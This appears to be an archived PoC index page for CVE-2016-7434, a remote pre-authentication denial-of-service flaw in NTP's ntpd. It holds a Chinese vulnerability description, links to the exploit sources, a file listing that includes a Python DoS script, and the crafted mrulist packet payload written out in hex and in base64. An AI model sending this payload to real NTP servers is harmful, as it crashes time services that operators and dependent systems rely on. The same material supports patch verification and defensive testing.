CVE-2016-7434 PoC — NTP 安全漏洞

Source

https://github.com/shekkbuilder/CVE-2016-7434

Associated Vulnerability

Title:NTP 安全漏洞 (CVE-2016-7434)
Description:NTP（Network Time Protocol，网络时间协议）是一款通过网络同步计算机时钟的协议。 NTP 4.2.8p9之前的版本中的‘read_mru_list’函数存在安全漏洞。远程攻击者可借助特制的mrulist查询利用该漏洞造成拒绝服务（崩溃）。

Readme

# CVE-2016-7434
CVE-2016-7434 ntpd remote pre-auth Denial of Service PoC's/info

---

Sources:

http://dumpco.re/cve-2016-7434/

https://www.exploit-db.com/exploits/40806/

---

root@nop:~/code/CVE-2016-7434# echo -e "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"

6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP

root@nop:~/code/CVE-2016-7434# echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" |base64 -d                          
6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP

File Snapshot


 [4.0K]  /data/pocs/f77f4e66db66dc756444f0ef268dba17c6aadaed
├── [1.0K]  ntpd-preauth-DoS.py
├── [9.3K]  ntpd-preauth-DoS.txt
└── [ 772]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!